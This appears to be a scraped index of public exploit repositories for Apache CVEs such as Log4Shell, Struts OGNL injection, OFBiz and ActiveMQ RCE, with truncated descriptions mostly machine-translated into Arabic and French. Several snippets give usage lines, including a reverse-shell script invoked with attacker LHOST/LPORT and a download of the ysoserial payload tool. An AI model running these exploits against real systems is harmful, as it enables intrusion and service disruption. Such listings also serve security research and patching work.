CVE-2020-17530

CVE-2020-17530 إطار عمل Apache Struts2 هو إطار ويب لتطوير تطبيقات Java EE. في 8 ديسمبر 2020، كشفت Apache Struts عن ثغرة تنفيذ التعليمات البرمجية عن بُعد في Struts S2-061 CVE-2020-17530، حيث قد توجد ثغرة حقن تعبيرات OGNL عند استخدام بعض الوسوم tags وما شابه ذلك، مما يؤدي إلى تنفيذ التعليمات البرمج...

CVE-2024-41107

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 نطالب بالإعادة الآمنة لجميع المواطنين الذين تم احتجازهم كرهائن من قبل الجماعة الإرهابية حماس. لن نرتاح حتى يتم إطلاق سراح كل رهينة ويعود إلى منزله بأمان. يمكنك المساعدة في إعادتهم إلى المنزل.https://stories.bringthemhomenow.net/ 🚀 استغلال CVE-2024-41107 🚀 يحتوي...

CVE-2023-49070

ofbiz-xmlrpc-rce CVE-2023-49070 PoC pour la RCE par désérialisation pré-auth XML-RPC d'Apache OFBiz, suivie sous CVE-2023-49070 : un chemin de contournement d'authentification déverrouille l'endpoint hérité /webtools/control/xmlrpc, qui désérialise un objet Java contrôlé par l'attaquant, dissimul...

CVE-2024-29868

CVE-2024-29868: استخدام PRNG ضعيف تشفيريًا في توليد رمز الاسترداد يحتوي هذا المستودع على إثبات المفهوم المتعلق بـ CVE-2024-29868 الذي يؤثر على Apache StreamPipes من الإصدار v0.69.0 حتى 0.93.0. الوصف : ثغرة استخدام مولّد أرقام عشوائية زائف PRNG ضعيف تشفيريًا في آلية التسجيل الذاتي للمستخدم واستردا...

arya

Arya - The Reverse YARA Arya is a unique tool that produces pseudo-malicious files meant to trigger YARA rules. You can think of it like a reverse YARA because it does exactly the opposite - it creates files that matches your rules. You can read more about Arya and how it works in our blog. Intro...

cve-2018-1335

Ankara Yildirim Beyazit University Computer Engineering Department CENG 325 - Principles of Information Security And Privacy مشروع CENG201 OOP أعضاء المجموعة @canumay @aslihann @ezgigucuyener @mburakdonmez المراجع NVD - CVE-2018-1335 Exploit DB - Apache Tika-server 1.18 - حقن أوامر Rhino Security...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell إثبات المفهوم لا توفر ميزات JNDI المستخدمة في التهيئة ورسائل السجل والمعلمات في Apache Log4j2 =2.14.1 الحماية ضد LDAP الذي يتحكم به المهاجم ونقاط نهاية JNDI الأخرى ذات الصلة. يمكن للمهاجم الذي يتحكم في رسائل السجل أو معلمات رسائل السجل تنفيذ كود عشوائي يتم تحميله من خوادم...

ofbiz-CVE-2023-49070-RCE-POC

ofbiz-CVE-2023-49070-RCE-POC هذا هو POC لاستغلال RCE قبل المصادقة pre-auth لثغرة CVE-2023-49070، والتي أثرت على تطبيقات Apache ofbiz wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar Dns POC RCE POC هذه التغريدات ساعدتني كثيرًا :...

CVE-2024-38856_Scanner

CVE-2024-38856 للاستخدام الأخلاقي فقط، لا يُسمح بأي أنشطة ضارة أو خبيثة. وتقع المسؤولية على عاتقك. CVE-2024-38856: ماسح واستغلال تنفيذ الأكواد عن بُعد في Apache OFBiz تحليل CVE: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-rce تؤثر هذه المشكلة على Apache OFBiz: حتى 18.12.14 الاستخدام...

tsunami-security-scanner

تسونامي تسونامي هو ماسح ضوئي عام لأمان الشبكات مزود بنظام إضافات قابل للتوسيع لاكتشاف الثغرات عالية الخطورة بثقة عالية. لمعرفة المزيد عن تسونامي، قم بزيارة وثائقنا. يعتمد تسونامي بشكل كبير على نظام الإضافات الخاص به لتوفير قدرات المسح الأساسية. جميع إضافات تسونامي المتاحة للعموم مستضافة في مستودع...

CVE-2022-42889-PoC

CVE-2022-42889 alias Text4Shell Preuve de concept RCE Text4Shell est le nom populaire d'une vulnérabilité logicielle critique découverte dans la bibliothèque Apache Commons Text voir CVE-2022-42889. Ce dépôt vise à démontrer une Exécution de Code à Distance RCE exploitant cette CVE. Le code...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell إثبات المفهوم PoC شيل عكسي لـ CVE-2021-42013 على Apache 2.4.50 مع CGI الاستخدام : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT مزيد من المعلومات: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083...

CVE-2021-41773

CVE-2021-41773 vulnérabilité du serveur HTTP Apache fonctionne uniquement avec la version 2.4.49 paramètres requis httpd.conf ... LoadModule cgimodule modules/modcgi.so décommenter cette ligne ... AllowOverride none Require all denied commenter cette ligne ou définir Require all granted...

log4j-payload-generator

log4j-payload-generator log4j-paylaod generator : مولد حمولة عام لـ Apache log4j RCE CVE-2021-44228. النشر لتشغيل هذا المشروع، نفذ الأمر التالي sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git تشغيل الاختبارات لتشغيل الاختبارات، نفذ الأمر التالي cd...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228تنفيذ التعليمات البرمجية عن بُعد في Apache Log4j） جميع إصدارات log4j-core =2.0-beta9 و=2.14.1 إصدارات 1.x تحتوي على ثغرات أخرى، ونوصي بتحديثها إلى أحدث إصدار. النشرات والتنبيهات الأمنية المرتبطة بـ Log4Shell CVE-2021-44228 الاستخدام: قم بتنزيل هذا المشروع، وقم بتجميع كود الاستغلال...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell يستغل هذا السكربت CVE-2023-46604 Apache ActiveMQ لإنشاء قشرة شبه تفاعلية. تسمح الثغرة بتنفيذ الأوامر عن بعد نتيجة لإلغاء التسلسل غير الآمن في بروتوكول OpenWire. الوصف CVE-2023-46604 هي ثغرة في إلغاء التسلسل موجودة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. يمكن...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 إثبات المفهوم لثغرة البحث في LDAP الخاصة بـ Apache Log4j يمكنك قراءة المزيد عن الثغرة هنا: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ كيفية تشغيل خادم LDAP المرفق الذي يعيد كائنًا خبيثًا؟ java -jar...

CVE-2020-9484

CVE-2020-9484 إعادة إنتاج ثغرة تنفيذ الكود عبر إلغاء تسلسل جلسات Apache Tomcat CVE-2020-9484 باستخدام Kali 2.0 البيئة: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz webapp هو s2-053، مع إضافة commons-collections4-4.0.jar إلى مجلد lib الخاص به التشغيل /yourtomcatdir/bin/startup.sh إنشاء...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-for-Apache-ActiveMQ استغلال PoC لـ CVE-2025-27533 ، وهي ثغرة رفض الخدمة DoS في Apache ActiveMQ. ترسل هذه الأداة حزم OpenWire ضارة لاستنفاد ذاكرة JVM heap للخادم المستهدف، وقد تؤدي إلى تعطل خدمة ActiveMQ على المنفذ 61616. استخدام python CVE-2025-27533Exploit.py --host --port...

CVE-2023-42793

CVE-2023-42793 لأغراض تعليمية فقط إثبات المفهوم PoC لثغرة CVE-2023-42793 طريقة استخدام CVE-2023-42793admin.sh: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port إثبات العمل: طريقة استخدام CVE-2023-42793rce.sh: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh...